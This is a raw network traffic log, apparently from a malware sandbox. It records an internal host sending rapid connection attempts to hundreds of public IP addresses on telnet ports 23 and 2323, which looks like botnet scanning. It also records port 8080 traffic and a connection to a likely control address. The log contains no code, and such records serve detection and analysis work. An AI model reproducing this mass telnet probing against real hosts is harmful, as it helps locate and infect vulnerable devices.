Feb 19, 2025 19:43:15.975459099 CET	8080	26802	85.68.252.166	192.168.2.13
Feb 19, 2025 19:43:15.975464106 CET	26802	8080	192.168.2.13	62.136.85.81
Feb 19, 2025 19:43:15.975474119 CET	8080	26802	95.107.69.216	192.168.2.13
Feb 19, 2025 19:43:15.975485086 CET	26802	8080	192.168.2.13	85.68.252.166
Feb 19, 2025 19:43:15.975497007 CET	26802	8080	192.168.2.13	95.107.69.216
Feb 19, 2025 19:43:15.975506067 CET	8080	26802	95.251.252.91	192.168.2.13
Feb 19, 2025 19:43:15.975518942 CET	8080	26802	94.44.155.164	192.168.2.13
Feb 19, 2025 19:43:15.975531101 CET	26802	8080	192.168.2.13	95.251.252.91
Feb 19, 2025 19:43:15.975547075 CET	26802	8080	192.168.2.13	94.44.155.164
Feb 19, 2025 19:43:15.976975918 CET	55412	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:15.977051020 CET	57404	1024	192.168.2.13	141.98.11.41
Feb 19, 2025 19:43:15.979414940 CET	8080	34362	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:15.979451895 CET	34362	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:15.980112076 CET	44810	8080	192.168.2.13	31.118.53.55
Feb 19, 2025 19:43:15.981946945 CET	8080	55412	62.168.82.214	192.168.2.13
Feb 19, 2025 19:43:15.981975079 CET	55412	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:15.988153934 CET	33902	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:15.990449905 CET	55996	8080	192.168.2.13	94.39.23.251
Feb 19, 2025 19:43:15.991292953 CET	24754	2323	192.168.2.13	178.193.208.149
Feb 19, 2025 19:43:15.991556883 CET	24754	23	192.168.2.13	35.62.156.197
Feb 19, 2025 19:43:15.991564989 CET	24754	23	192.168.2.13	190.30.43.144
Feb 19, 2025 19:43:15.991564989 CET	24754	23	192.168.2.13	35.183.51.247
Feb 19, 2025 19:43:15.991578102 CET	24754	23	192.168.2.13	27.28.63.33
Feb 19, 2025 19:43:15.991585970 CET	24754	23	192.168.2.13	36.53.145.239
Feb 19, 2025 19:43:15.991589069 CET	24754	23	192.168.2.13	38.150.168.140
Feb 19, 2025 19:43:15.991606951 CET	24754	23	192.168.2.13	204.0.26.124
Feb 19, 2025 19:43:15.991609097 CET	24754	23	192.168.2.13	161.202.231.235
Feb 19, 2025 19:43:15.991602898 CET	24754	23	192.168.2.13	206.218.75.59
Feb 19, 2025 19:43:15.991621971 CET	24754	23	192.168.2.13	12.58.42.37
Feb 19, 2025 19:43:15.991627932 CET	24754	2323	192.168.2.13	108.242.82.10
Feb 19, 2025 19:43:15.991641045 CET	24754	23	192.168.2.13	194.241.198.93
Feb 19, 2025 19:43:15.991645098 CET	24754	23	192.168.2.13	38.60.194.53
Feb 19, 2025 19:43:15.991648912 CET	24754	23	192.168.2.13	208.45.187.21
Feb 19, 2025 19:43:15.991658926 CET	24754	23	192.168.2.13	125.148.206.202
Feb 19, 2025 19:43:15.991666079 CET	24754	23	192.168.2.13	60.72.240.106
Feb 19, 2025 19:43:15.991676092 CET	24754	23	192.168.2.13	161.60.227.215
Feb 19, 2025 19:43:15.991676092 CET	24754	2323	192.168.2.13	103.183.56.208
Feb 19, 2025 19:43:15.991677999 CET	24754	23	192.168.2.13	202.6.178.240
Feb 19, 2025 19:43:15.991677999 CET	24754	23	192.168.2.13	154.201.161.214
Feb 19, 2025 19:43:15.991699934 CET	24754	23	192.168.2.13	18.209.212.186
Feb 19, 2025 19:43:15.991702080 CET	24754	23	192.168.2.13	154.10.219.252
Feb 19, 2025 19:43:15.991704941 CET	24754	23	192.168.2.13	196.83.76.89
Feb 19, 2025 19:43:15.991704941 CET	24754	23	192.168.2.13	97.110.22.205
Feb 19, 2025 19:43:15.991704941 CET	24754	23	192.168.2.13	138.55.5.187
Feb 19, 2025 19:43:15.991719961 CET	24754	23	192.168.2.13	41.53.169.75
Feb 19, 2025 19:43:15.991736889 CET	24754	2323	192.168.2.13	145.147.158.125
Feb 19, 2025 19:43:15.991744995 CET	24754	23	192.168.2.13	192.145.157.206
Feb 19, 2025 19:43:15.991759062 CET	24754	23	192.168.2.13	44.95.27.223
Feb 19, 2025 19:43:15.991760015 CET	24754	23	192.168.2.13	187.76.255.203
Feb 19, 2025 19:43:15.991760015 CET	24754	23	192.168.2.13	41.100.44.34
Feb 19, 2025 19:43:15.991760015 CET	24754	23	192.168.2.13	128.193.43.35
Feb 19, 2025 19:43:15.991786957 CET	24754	23	192.168.2.13	216.153.231.173
Feb 19, 2025 19:43:15.991797924 CET	24754	23	192.168.2.13	175.188.127.69
Feb 19, 2025 19:43:15.991800070 CET	24754	23	192.168.2.13	177.124.130.101
Feb 19, 2025 19:43:15.991801023 CET	24754	23	192.168.2.13	37.173.106.117
Feb 19, 2025 19:43:15.991801023 CET	24754	23	192.168.2.13	184.230.229.49
Feb 19, 2025 19:43:15.991801023 CET	24754	23	192.168.2.13	173.113.253.48
Feb 19, 2025 19:43:15.991802931 CET	24754	23	192.168.2.13	23.72.112.10
Feb 19, 2025 19:43:15.991801977 CET	24754	23	192.168.2.13	51.139.252.83
Feb 19, 2025 19:43:15.991802931 CET	24754	23	192.168.2.13	58.105.255.237
Feb 19, 2025 19:43:15.991802931 CET	24754	23	192.168.2.13	148.0.30.201
Feb 19, 2025 19:43:15.991816044 CET	24754	2323	192.168.2.13	71.37.179.103
Feb 19, 2025 19:43:15.991816998 CET	24754	23	192.168.2.13	113.148.58.232
Feb 19, 2025 19:43:15.991806030 CET	24754	2323	192.168.2.13	110.253.56.167
Feb 19, 2025 19:43:15.991806030 CET	24754	23	192.168.2.13	206.196.129.7
Feb 19, 2025 19:43:15.991820097 CET	24754	23	192.168.2.13	42.117.170.164
Feb 19, 2025 19:43:15.991820097 CET	24754	23	192.168.2.13	17.61.58.151
Feb 19, 2025 19:43:15.991825104 CET	24754	23	192.168.2.13	67.55.100.228
Feb 19, 2025 19:43:15.991826057 CET	24754	23	192.168.2.13	2.103.194.243
Feb 19, 2025 19:43:15.991825104 CET	24754	23	192.168.2.13	170.85.10.255
Feb 19, 2025 19:43:15.991828918 CET	24754	23	192.168.2.13	39.126.175.8
Feb 19, 2025 19:43:15.992175102 CET	24754	23	192.168.2.13	178.109.161.69
Feb 19, 2025 19:43:15.992189884 CET	24754	23	192.168.2.13	88.203.97.110
Feb 19, 2025 19:43:15.992199898 CET	24754	23	192.168.2.13	95.153.129.90
Feb 19, 2025 19:43:15.992206097 CET	24754	23	192.168.2.13	58.182.244.42
Feb 19, 2025 19:43:15.992207050 CET	24754	23	192.168.2.13	40.238.106.176
Feb 19, 2025 19:43:15.992213964 CET	24754	23	192.168.2.13	82.113.0.74
Feb 19, 2025 19:43:15.992223978 CET	24754	2323	192.168.2.13	210.188.36.67
Feb 19, 2025 19:43:15.992238045 CET	24754	23	192.168.2.13	197.168.239.157
Feb 19, 2025 19:43:15.992238045 CET	24754	23	192.168.2.13	192.16.12.65
Feb 19, 2025 19:43:15.992247105 CET	24754	23	192.168.2.13	177.144.202.19
Feb 19, 2025 19:43:15.992254972 CET	24754	23	192.168.2.13	157.118.193.186
Feb 19, 2025 19:43:15.992274046 CET	24754	23	192.168.2.13	107.168.38.251
Feb 19, 2025 19:43:15.992281914 CET	24754	23	192.168.2.13	68.6.177.131
Feb 19, 2025 19:43:15.992284060 CET	24754	23	192.168.2.13	60.54.189.134
Feb 19, 2025 19:43:15.992292881 CET	24754	23	192.168.2.13	14.63.140.21
Feb 19, 2025 19:43:15.992309093 CET	24754	23	192.168.2.13	64.58.84.135
Feb 19, 2025 19:43:15.992321968 CET	24754	23	192.168.2.13	45.153.235.246
Feb 19, 2025 19:43:15.992326975 CET	24754	2323	192.168.2.13	176.199.138.184
Feb 19, 2025 19:43:15.992403030 CET	24754	23	192.168.2.13	147.79.167.205
Feb 19, 2025 19:43:15.992410898 CET	24754	23	192.168.2.13	207.220.89.238
Feb 19, 2025 19:43:15.992413044 CET	24754	23	192.168.2.13	151.185.196.2
Feb 19, 2025 19:43:15.992428064 CET	24754	23	192.168.2.13	39.88.23.180
Feb 19, 2025 19:43:15.992430925 CET	24754	23	192.168.2.13	4.47.59.35
Feb 19, 2025 19:43:15.992434978 CET	24754	23	192.168.2.13	159.248.136.108
Feb 19, 2025 19:43:15.992441893 CET	24754	23	192.168.2.13	211.145.39.51
Feb 19, 2025 19:43:15.992446899 CET	24754	23	192.168.2.13	75.235.88.3
Feb 19, 2025 19:43:15.992451906 CET	24754	23	192.168.2.13	69.213.196.200
Feb 19, 2025 19:43:15.992459059 CET	24754	2323	192.168.2.13	82.138.35.13
Feb 19, 2025 19:43:15.992468119 CET	24754	23	192.168.2.13	162.30.99.45
Feb 19, 2025 19:43:15.992470980 CET	24754	23	192.168.2.13	48.116.102.3
Feb 19, 2025 19:43:15.992481947 CET	24754	23	192.168.2.13	218.27.89.63
Feb 19, 2025 19:43:15.992485046 CET	24754	23	192.168.2.13	192.58.246.17
Feb 19, 2025 19:43:15.992494106 CET	24754	23	192.168.2.13	152.233.25.152
Feb 19, 2025 19:43:15.992499113 CET	24754	23	192.168.2.13	47.22.114.177
Feb 19, 2025 19:43:15.992511988 CET	24754	23	192.168.2.13	51.204.120.196
Feb 19, 2025 19:43:15.992516041 CET	24754	23	192.168.2.13	91.9.181.34
Feb 19, 2025 19:43:15.992520094 CET	24754	23	192.168.2.13	113.15.79.133
Feb 19, 2025 19:43:15.992520094 CET	24754	2323	192.168.2.13	83.206.221.204
Feb 19, 2025 19:43:15.992532015 CET	24754	23	192.168.2.13	213.118.138.159
Feb 19, 2025 19:43:15.992537975 CET	24754	23	192.168.2.13	128.179.175.48
Feb 19, 2025 19:43:15.992542982 CET	24754	23	192.168.2.13	117.226.248.110
Feb 19, 2025 19:43:15.992549896 CET	24754	23	192.168.2.13	203.70.226.35
Feb 19, 2025 19:43:15.992559910 CET	24754	23	192.168.2.13	110.190.235.104
Feb 19, 2025 19:43:15.992563963 CET	24754	23	192.168.2.13	18.121.42.186
Feb 19, 2025 19:43:15.992568970 CET	24754	23	192.168.2.13	140.247.30.238
Feb 19, 2025 19:43:15.992571115 CET	24754	23	192.168.2.13	97.156.88.88
Feb 19, 2025 19:43:15.992589951 CET	24754	23	192.168.2.13	212.14.234.212
Feb 19, 2025 19:43:15.992588997 CET	24754	23	192.168.2.13	91.142.169.192
Feb 19, 2025 19:43:15.992588997 CET	24754	2323	192.168.2.13	222.2.38.101
Feb 19, 2025 19:43:15.992597103 CET	24754	23	192.168.2.13	159.9.69.20
Feb 19, 2025 19:43:15.992611885 CET	24754	23	192.168.2.13	90.46.18.36
Feb 19, 2025 19:43:15.992611885 CET	24754	23	192.168.2.13	165.82.50.26
Feb 19, 2025 19:43:15.992614985 CET	24754	23	192.168.2.13	79.46.52.137
Feb 19, 2025 19:43:15.992635012 CET	24754	23	192.168.2.13	107.248.162.144
Feb 19, 2025 19:43:15.992647886 CET	24754	23	192.168.2.13	150.255.25.47
Feb 19, 2025 19:43:15.992655993 CET	24754	23	192.168.2.13	156.101.36.44
Feb 19, 2025 19:43:15.992661953 CET	24754	23	192.168.2.13	91.105.58.16
Feb 19, 2025 19:43:15.992671013 CET	24754	2323	192.168.2.13	25.7.78.78
Feb 19, 2025 19:43:15.992679119 CET	24754	23	192.168.2.13	23.37.156.237
Feb 19, 2025 19:43:15.992686033 CET	24754	23	192.168.2.13	88.225.32.131
Feb 19, 2025 19:43:15.992686987 CET	24754	23	192.168.2.13	199.203.61.176
Feb 19, 2025 19:43:15.992703915 CET	24754	23	192.168.2.13	206.65.239.150
Feb 19, 2025 19:43:15.992800951 CET	24754	23	192.168.2.13	123.186.65.208
Feb 19, 2025 19:43:15.992810011 CET	24754	23	192.168.2.13	117.60.135.98
Feb 19, 2025 19:43:15.992830038 CET	24754	23	192.168.2.13	73.164.34.159
Feb 19, 2025 19:43:15.992846012 CET	24754	23	192.168.2.13	183.126.22.29
Feb 19, 2025 19:43:15.992857933 CET	24754	23	192.168.2.13	49.189.221.19
Feb 19, 2025 19:43:15.992882967 CET	24754	2323	192.168.2.13	81.96.251.161
Feb 19, 2025 19:43:15.992917061 CET	24754	23	192.168.2.13	106.34.169.160
Feb 19, 2025 19:43:15.992918015 CET	24754	23	192.168.2.13	106.212.193.249
Feb 19, 2025 19:43:15.992918015 CET	24754	23	192.168.2.13	4.10.243.87
Feb 19, 2025 19:43:15.992928028 CET	24754	23	192.168.2.13	13.129.170.141
Feb 19, 2025 19:43:15.992930889 CET	24754	23	192.168.2.13	141.110.254.26
Feb 19, 2025 19:43:15.992933989 CET	24754	23	192.168.2.13	121.157.253.177
Feb 19, 2025 19:43:15.992933989 CET	24754	23	192.168.2.13	1.128.65.23
Feb 19, 2025 19:43:15.992989063 CET	24754	23	192.168.2.13	198.252.84.160
Feb 19, 2025 19:43:15.992995977 CET	24754	23	192.168.2.13	168.243.88.85
Feb 19, 2025 19:43:15.993007898 CET	24754	2323	192.168.2.13	132.212.50.13
Feb 19, 2025 19:43:15.993012905 CET	24754	23	192.168.2.13	107.140.56.226
Feb 19, 2025 19:43:15.993022919 CET	24754	23	192.168.2.13	95.188.212.168
Feb 19, 2025 19:43:15.993037939 CET	24754	23	192.168.2.13	20.83.106.6
Feb 19, 2025 19:43:15.993041992 CET	24754	23	192.168.2.13	75.86.129.193
Feb 19, 2025 19:43:15.993052959 CET	24754	23	192.168.2.13	114.18.214.208
Feb 19, 2025 19:43:15.993053913 CET	24754	23	192.168.2.13	47.37.93.121
Feb 19, 2025 19:43:15.993057013 CET	24754	23	192.168.2.13	12.224.196.179
Feb 19, 2025 19:43:15.993062973 CET	24754	23	192.168.2.13	134.220.216.46
Feb 19, 2025 19:43:15.993068933 CET	24754	23	192.168.2.13	48.9.3.249
Feb 19, 2025 19:43:15.993086100 CET	24754	2323	192.168.2.13	12.234.42.52
Feb 19, 2025 19:43:15.993092060 CET	24754	23	192.168.2.13	167.148.37.34
Feb 19, 2025 19:43:15.993092060 CET	24754	23	192.168.2.13	138.121.224.108
Feb 19, 2025 19:43:15.993093014 CET	24754	23	192.168.2.13	119.53.87.16
Feb 19, 2025 19:43:15.993104935 CET	24754	23	192.168.2.13	180.237.250.135
Feb 19, 2025 19:43:15.993114948 CET	24754	23	192.168.2.13	108.33.150.39
Feb 19, 2025 19:43:15.993117094 CET	24754	23	192.168.2.13	66.160.13.169
Feb 19, 2025 19:43:15.993122101 CET	24754	23	192.168.2.13	166.26.78.37
Feb 19, 2025 19:43:15.993122101 CET	24754	23	192.168.2.13	108.240.197.135
Feb 19, 2025 19:43:15.993161917 CET	24754	23	192.168.2.13	210.160.195.184
Feb 19, 2025 19:43:15.993163109 CET	24754	23	192.168.2.13	75.194.244.237
Feb 19, 2025 19:43:15.993169069 CET	24754	23	192.168.2.13	37.77.182.104
Feb 19, 2025 19:43:15.993170023 CET	24754	23	192.168.2.13	198.123.135.229
Feb 19, 2025 19:43:15.993169069 CET	24754	23	192.168.2.13	12.32.18.142
Feb 19, 2025 19:43:15.993170023 CET	24754	23	192.168.2.13	82.151.115.215
Feb 19, 2025 19:43:15.993169069 CET	24754	23	192.168.2.13	116.51.57.184
Feb 19, 2025 19:43:15.993175030 CET	24754	23	192.168.2.13	70.250.20.224
Feb 19, 2025 19:43:15.993175030 CET	24754	2323	192.168.2.13	142.67.26.178
Feb 19, 2025 19:43:15.993175030 CET	24754	23	192.168.2.13	166.80.46.162
Feb 19, 2025 19:43:15.993185997 CET	24754	23	192.168.2.13	160.231.250.13
Feb 19, 2025 19:43:15.993194103 CET	24754	2323	192.168.2.13	207.232.228.3
Feb 19, 2025 19:43:15.993199110 CET	24754	23	192.168.2.13	77.232.33.161
Feb 19, 2025 19:43:15.993204117 CET	24754	23	192.168.2.13	168.95.194.111
Feb 19, 2025 19:43:15.993213892 CET	24754	23	192.168.2.13	27.159.147.218
Feb 19, 2025 19:43:15.993213892 CET	24754	23	192.168.2.13	205.92.244.160
Feb 19, 2025 19:43:15.993216991 CET	24754	23	192.168.2.13	160.70.229.94
Feb 19, 2025 19:43:15.993232012 CET	24754	23	192.168.2.13	37.44.206.105
Feb 19, 2025 19:43:15.993232965 CET	8080	33902	94.247.49.245	192.168.2.13
Feb 19, 2025 19:43:15.993233919 CET	24754	23	192.168.2.13	34.150.167.240
Feb 19, 2025 19:43:15.993235111 CET	24754	23	192.168.2.13	59.176.152.234
Feb 19, 2025 19:43:15.993240118 CET	24754	2323	192.168.2.13	204.109.241.33
Feb 19, 2025 19:43:15.993243933 CET	24754	23	192.168.2.13	116.35.19.57
Feb 19, 2025 19:43:15.993248940 CET	24754	23	192.168.2.13	151.189.128.178
Feb 19, 2025 19:43:15.993263006 CET	24754	23	192.168.2.13	35.241.96.75
Feb 19, 2025 19:43:15.993268967 CET	24754	23	192.168.2.13	2.4.161.121
Feb 19, 2025 19:43:15.993268967 CET	24754	23	192.168.2.13	76.55.91.231
Feb 19, 2025 19:43:15.993275881 CET	24754	23	192.168.2.13	87.20.12.18
Feb 19, 2025 19:43:15.993278027 CET	24754	23	192.168.2.13	9.170.96.118
Feb 19, 2025 19:43:15.993287086 CET	24754	23	192.168.2.13	213.116.55.119
Feb 19, 2025 19:43:15.993290901 CET	24754	23	192.168.2.13	35.51.58.229
Feb 19, 2025 19:43:15.993298054 CET	24754	23	192.168.2.13	38.221.24.26
Feb 19, 2025 19:43:15.993303061 CET	33902	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:15.993310928 CET	24754	2323	192.168.2.13	81.57.224.196
Feb 19, 2025 19:43:15.993329048 CET	24754	23	192.168.2.13	70.143.145.76
Feb 19, 2025 19:43:15.993379116 CET	24754	23	192.168.2.13	48.169.101.222
Feb 19, 2025 19:43:15.993382931 CET	24754	23	192.168.2.13	178.200.67.103
Feb 19, 2025 19:43:15.993386030 CET	24754	23	192.168.2.13	111.128.75.253
Feb 19, 2025 19:43:15.993386984 CET	24754	23	192.168.2.13	154.18.138.106
Feb 19, 2025 19:43:15.993407965 CET	45152	8080	192.168.2.13	95.46.115.183
Feb 19, 2025 19:43:15.993407965 CET	24754	23	192.168.2.13	83.96.204.225
Feb 19, 2025 19:43:15.993432999 CET	24754	23	192.168.2.13	135.208.62.234
Feb 19, 2025 19:43:15.993432999 CET	24754	23	192.168.2.13	139.197.193.153
Feb 19, 2025 19:43:15.994474888 CET	24754	23	192.168.2.13	220.210.86.100
Feb 19, 2025 19:43:15.994486094 CET	24754	2323	192.168.2.13	122.101.236.241
Feb 19, 2025 19:43:15.994492054 CET	24754	23	192.168.2.13	19.165.6.154
Feb 19, 2025 19:43:15.994518995 CET	24754	23	192.168.2.13	90.127.222.222
Feb 19, 2025 19:43:15.994524002 CET	24754	23	192.168.2.13	46.50.224.162
Feb 19, 2025 19:43:15.994527102 CET	24754	23	192.168.2.13	133.186.107.5
Feb 19, 2025 19:43:15.994527102 CET	24754	23	192.168.2.13	108.52.86.155
Feb 19, 2025 19:43:15.994534969 CET	24754	23	192.168.2.13	141.173.26.235
Feb 19, 2025 19:43:15.994545937 CET	24754	23	192.168.2.13	42.228.99.120
Feb 19, 2025 19:43:15.994548082 CET	24754	23	192.168.2.13	45.226.9.191
Feb 19, 2025 19:43:15.994559050 CET	24754	23	192.168.2.13	126.42.161.12
Feb 19, 2025 19:43:15.994559050 CET	24754	2323	192.168.2.13	35.138.112.180
Feb 19, 2025 19:43:15.994570017 CET	24754	23	192.168.2.13	152.77.52.244
Feb 19, 2025 19:43:15.994570017 CET	24754	23	192.168.2.13	211.28.226.73
Feb 19, 2025 19:43:15.994573116 CET	24754	23	192.168.2.13	165.240.181.0
Feb 19, 2025 19:43:15.994573116 CET	24754	23	192.168.2.13	133.111.0.215
Feb 19, 2025 19:43:15.994586945 CET	24754	23	192.168.2.13	163.56.53.25
Feb 19, 2025 19:43:15.994595051 CET	24754	23	192.168.2.13	60.186.75.140
Feb 19, 2025 19:43:15.994607925 CET	24754	23	192.168.2.13	147.13.130.172
Feb 19, 2025 19:43:15.994628906 CET	24754	23	192.168.2.13	141.107.211.175
Feb 19, 2025 19:43:15.994628906 CET	24754	23	192.168.2.13	218.185.189.25
Feb 19, 2025 19:43:15.994628906 CET	24754	23	192.168.2.13	67.174.106.15
Feb 19, 2025 19:43:15.994632006 CET	24754	2323	192.168.2.13	157.253.220.32
Feb 19, 2025 19:43:15.994648933 CET	24754	23	192.168.2.13	204.233.32.195
Feb 19, 2025 19:43:15.994666100 CET	24754	23	192.168.2.13	188.77.141.85
Feb 19, 2025 19:43:15.994672060 CET	24754	23	192.168.2.13	90.48.44.43
Feb 19, 2025 19:43:15.994713068 CET	24754	23	192.168.2.13	185.105.134.26
Feb 19, 2025 19:43:15.994760036 CET	24754	23	192.168.2.13	199.189.189.225
Feb 19, 2025 19:43:15.994767904 CET	24754	23	192.168.2.13	172.128.20.137
Feb 19, 2025 19:43:15.994770050 CET	24754	23	192.168.2.13	62.249.102.18
Feb 19, 2025 19:43:15.994775057 CET	24754	23	192.168.2.13	170.10.12.61
Feb 19, 2025 19:43:15.994780064 CET	24754	2323	192.168.2.13	92.250.198.241
Feb 19, 2025 19:43:15.994786024 CET	24754	23	192.168.2.13	193.30.69.123
Feb 19, 2025 19:43:15.994813919 CET	24754	23	192.168.2.13	169.117.250.37
Feb 19, 2025 19:43:15.994818926 CET	24754	23	192.168.2.13	203.102.254.250
Feb 19, 2025 19:43:15.994848013 CET	24754	23	192.168.2.13	126.235.93.127
Feb 19, 2025 19:43:15.994849920 CET	24754	23	192.168.2.13	149.105.128.214
Feb 19, 2025 19:43:15.994859934 CET	24754	23	192.168.2.13	195.16.229.20
Feb 19, 2025 19:43:15.994874954 CET	24754	23	192.168.2.13	117.226.74.153
Feb 19, 2025 19:43:15.994880915 CET	24754	23	192.168.2.13	208.91.3.185
Feb 19, 2025 19:43:15.994898081 CET	24754	23	192.168.2.13	124.91.37.28
Feb 19, 2025 19:43:15.994898081 CET	24754	23	192.168.2.13	70.214.118.184
Feb 19, 2025 19:43:15.994899035 CET	24754	2323	192.168.2.13	198.113.241.246
Feb 19, 2025 19:43:15.994915009 CET	24754	23	192.168.2.13	180.120.159.233
Feb 19, 2025 19:43:15.994916916 CET	24754	23	192.168.2.13	53.230.51.238
Feb 19, 2025 19:43:15.994920015 CET	24754	23	192.168.2.13	222.58.150.133
Feb 19, 2025 19:43:15.994920015 CET	24754	23	192.168.2.13	41.200.51.49
Feb 19, 2025 19:43:15.994925022 CET	24754	23	192.168.2.13	95.101.241.218
Feb 19, 2025 19:43:15.994926929 CET	24754	23	192.168.2.13	61.240.254.49
Feb 19, 2025 19:43:15.994926929 CET	24754	23	192.168.2.13	131.161.129.74
Feb 19, 2025 19:43:15.994940996 CET	24754	2323	192.168.2.13	110.185.63.84
Feb 19, 2025 19:43:15.994942904 CET	24754	23	192.168.2.13	99.241.87.246
Feb 19, 2025 19:43:15.994942904 CET	24754	23	192.168.2.13	71.246.13.232
Feb 19, 2025 19:43:15.994945049 CET	24754	23	192.168.2.13	86.56.222.91
Feb 19, 2025 19:43:15.994952917 CET	24754	23	192.168.2.13	32.121.134.136
Feb 19, 2025 19:43:15.994963884 CET	24754	23	192.168.2.13	64.121.191.248
Feb 19, 2025 19:43:15.994963884 CET	24754	23	192.168.2.13	81.184.223.62
Feb 19, 2025 19:43:15.994971037 CET	24754	23	192.168.2.13	43.204.12.102
Feb 19, 2025 19:43:15.994982958 CET	24754	23	192.168.2.13	49.210.213.124
Feb 19, 2025 19:43:15.994982958 CET	24754	23	192.168.2.13	98.6.20.207
Feb 19, 2025 19:43:15.994997978 CET	24754	23	192.168.2.13	205.42.44.253
Feb 19, 2025 19:43:15.994997978 CET	24754	2323	192.168.2.13	89.190.226.108
Feb 19, 2025 19:43:15.995006084 CET	24754	23	192.168.2.13	13.195.228.45
Feb 19, 2025 19:43:15.995013952 CET	24754	23	192.168.2.13	45.61.125.167
Feb 19, 2025 19:43:15.995019913 CET	24754	23	192.168.2.13	207.193.239.132
Feb 19, 2025 19:43:15.995022058 CET	24754	23	192.168.2.13	139.245.0.120
Feb 19, 2025 19:43:15.995031118 CET	24754	23	192.168.2.13	195.98.113.99
Feb 19, 2025 19:43:15.995031118 CET	24754	23	192.168.2.13	210.71.182.22
Feb 19, 2025 19:43:15.995038033 CET	24754	23	192.168.2.13	79.117.45.54
Feb 19, 2025 19:43:15.995052099 CET	24754	23	192.168.2.13	169.215.93.81
Feb 19, 2025 19:43:15.995055914 CET	24754	23	192.168.2.13	73.207.120.55
Feb 19, 2025 19:43:15.995055914 CET	24754	2323	192.168.2.13	220.158.156.194
Feb 19, 2025 19:43:15.995070934 CET	24754	23	192.168.2.13	216.192.70.165
Feb 19, 2025 19:43:15.995074034 CET	24754	23	192.168.2.13	153.188.197.200
Feb 19, 2025 19:43:15.995089054 CET	24754	23	192.168.2.13	50.137.94.13
Feb 19, 2025 19:43:15.995095015 CET	24754	23	192.168.2.13	167.69.93.66
Feb 19, 2025 19:43:15.995095015 CET	24754	23	192.168.2.13	160.11.31.75
Feb 19, 2025 19:43:15.995104074 CET	24754	23	192.168.2.13	34.182.42.164
Feb 19, 2025 19:43:15.995109081 CET	24754	23	192.168.2.13	91.181.151.75
Feb 19, 2025 19:43:15.995111942 CET	24754	23	192.168.2.13	124.169.43.196
Feb 19, 2025 19:43:15.995127916 CET	24754	23	192.168.2.13	146.31.88.167
Feb 19, 2025 19:43:15.995129108 CET	24754	23	192.168.2.13	82.36.240.171
Feb 19, 2025 19:43:15.995131969 CET	24754	2323	192.168.2.13	24.203.227.11
Feb 19, 2025 19:43:15.995131969 CET	24754	23	192.168.2.13	212.190.42.247
Feb 19, 2025 19:43:15.995140076 CET	24754	23	192.168.2.13	172.10.129.30
Feb 19, 2025 19:43:15.995147943 CET	24754	23	192.168.2.13	179.9.177.0
Feb 19, 2025 19:43:15.995153904 CET	24754	23	192.168.2.13	27.108.81.84
Feb 19, 2025 19:43:15.995153904 CET	24754	23	192.168.2.13	1.106.45.126
Feb 19, 2025 19:43:15.995153904 CET	24754	23	192.168.2.13	133.163.112.87
Feb 19, 2025 19:43:15.995153904 CET	24754	23	192.168.2.13	187.87.247.2
Feb 19, 2025 19:43:15.996639013 CET	49746	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:15.998209953 CET	24754	23	192.168.2.13	53.236.30.41
Feb 19, 2025 19:43:15.998219967 CET	24754	23	192.168.2.13	130.68.243.167
Feb 19, 2025 19:43:15.998222113 CET	24754	2323	192.168.2.13	175.14.171.130
Feb 19, 2025 19:43:15.998290062 CET	24754	23	192.168.2.13	174.115.232.94
Feb 19, 2025 19:43:15.998294115 CET	24754	23	192.168.2.13	94.129.60.137
Feb 19, 2025 19:43:15.998322010 CET	24754	23	192.168.2.13	20.34.6.161
Feb 19, 2025 19:43:15.998322010 CET	24754	23	192.168.2.13	31.241.178.183
Feb 19, 2025 19:43:15.998322010 CET	24754	23	192.168.2.13	131.32.236.235
Feb 19, 2025 19:43:15.998322010 CET	24754	23	192.168.2.13	92.217.103.239
Feb 19, 2025 19:43:15.998325109 CET	24754	2323	192.168.2.13	125.112.141.213
Feb 19, 2025 19:43:15.998326063 CET	24754	23	192.168.2.13	49.234.66.217
Feb 19, 2025 19:43:15.998327017 CET	24754	23	192.168.2.13	46.19.252.205
Feb 19, 2025 19:43:15.998326063 CET	24754	2323	192.168.2.13	212.239.111.187
Feb 19, 2025 19:43:15.998327017 CET	24754	23	192.168.2.13	220.27.99.247
Feb 19, 2025 19:43:15.998322964 CET	24754	23	192.168.2.13	140.48.124.8
Feb 19, 2025 19:43:15.998326063 CET	24754	23	192.168.2.13	87.198.227.15
Feb 19, 2025 19:43:15.998325109 CET	24754	23	192.168.2.13	134.38.83.28
Feb 19, 2025 19:43:15.998332024 CET	24754	23	192.168.2.13	53.118.213.73
Feb 19, 2025 19:43:15.998325109 CET	24754	23	192.168.2.13	206.222.113.248
Feb 19, 2025 19:43:15.998327017 CET	24754	23	192.168.2.13	216.208.159.136
Feb 19, 2025 19:43:15.998332024 CET	24754	23	192.168.2.13	103.200.35.42
Feb 19, 2025 19:43:15.998327017 CET	24754	23	192.168.2.13	159.106.141.78
Feb 19, 2025 19:43:15.998332024 CET	24754	23	192.168.2.13	117.200.98.182
Feb 19, 2025 19:43:15.998327017 CET	24754	23	192.168.2.13	24.32.211.64
Feb 19, 2025 19:43:15.998332024 CET	24754	23	192.168.2.13	155.230.105.42
Feb 19, 2025 19:43:15.998339891 CET	24754	2323	192.168.2.13	159.38.62.94
Feb 19, 2025 19:43:15.998339891 CET	24754	23	192.168.2.13	78.134.59.44
Feb 19, 2025 19:43:15.998339891 CET	24754	23	192.168.2.13	36.121.253.181
Feb 19, 2025 19:43:15.998339891 CET	24754	2323	192.168.2.13	210.39.235.31
Feb 19, 2025 19:43:15.998339891 CET	24754	23	192.168.2.13	134.202.121.179
Feb 19, 2025 19:43:15.998339891 CET	24754	23	192.168.2.13	43.77.84.205
Feb 19, 2025 19:43:15.998354912 CET	24754	23	192.168.2.13	152.49.24.226
Feb 19, 2025 19:43:15.998357058 CET	24754	23	192.168.2.13	1.110.94.180
Feb 19, 2025 19:43:15.998357058 CET	24754	23	192.168.2.13	210.176.154.202
Feb 19, 2025 19:43:15.998357058 CET	24754	23	192.168.2.13	98.70.149.15
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	174.86.203.240
Feb 19, 2025 19:43:15.998367071 CET	24754	23	192.168.2.13	81.217.138.216
Feb 19, 2025 19:43:15.998366117 CET	24754	23	192.168.2.13	89.136.67.209
